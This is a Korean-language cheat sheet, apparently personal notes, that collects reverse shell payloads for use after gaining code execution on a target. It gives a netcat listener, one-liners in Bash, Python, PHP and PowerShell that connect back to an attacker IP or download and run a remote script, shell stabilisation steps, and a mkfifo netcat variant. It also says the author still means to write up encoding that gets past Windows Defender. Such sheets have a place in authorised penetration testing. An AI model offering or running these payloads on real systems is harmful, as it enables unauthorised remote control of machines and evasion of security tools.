RCE를 잡고도 매번 어떤 리버스쉘 페이로드를 쓸지 헤맸던 경험이 많아서, 상황별로 바로 꺼내 쓸 수 있게 정리해둠

리스너 준비 (공격자 측)

nc -lvnp <PORT>
# 안정적인 쉘이 필요하면
rlwrap nc -lvnp <PORT>

언어별 리버스쉘 (타겟에서 실행)

환경명령
Bashbash -i >& /dev/tcp/<공격자IP>/<PORT> 0>&1
Pythonpython3 -c 'import socket,os,pty;s=socket.socket();s.connect(("<IP>",<PORT>));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn("bash")'
PHPphp -r '$sock=fsockopen("<IP>",<PORT>);exec("/bin/sh -i <&3 >&3 2>&3");'
PowerShellIEX (New-Object Net.WebClient).DownloadString('http://<IP>/shell.ps1')

타겟 환경부터 확인

which python3, which nc, which php 등으로 타겟에 뭐가 설치돼 있는지 먼저 확인하는 습관이 시간을 크게 아껴줌 없는 인터프리터로 계속 시도하다 시간 버리는 경우가 많았음

쉘 안정화 (TTY Upgrade)

리버스쉘을 받아도 처음엔 방향키·Ctrl+C가 안 먹는 “불안정한” 쉘인 경우가 대부분임

python3 -c 'import pty;pty.spawn("/bin/bash")'
# 이후 백그라운드로 보내고 터미널 설정 맞추기
Ctrl+Z
stty raw -echo; fg
# 쉘로 돌아와서
export TERM=xterm

nc 버전이 -e 옵션을 지원 안 할 때

일부 nc 버전은 보안상 -e(실행) 옵션이 빠져 있음 이럴 땐 named pipe로 우회함

mkfifo /tmp/f; nc <IP> <PORT> < /tmp/f | /bin/sh > /tmp/f 2>&1; rm /tmp/f

더 채워야 할 것

  • Windows 타겟에서 Defender에 걸리지 않는 페이로드 인코딩 기법은 아직 제대로 정리 못 했음
  • 웹쉘(webshell)과 리버스쉘의 사용 타이밍 차이도 별도로 정리해두면 좋을 것 같음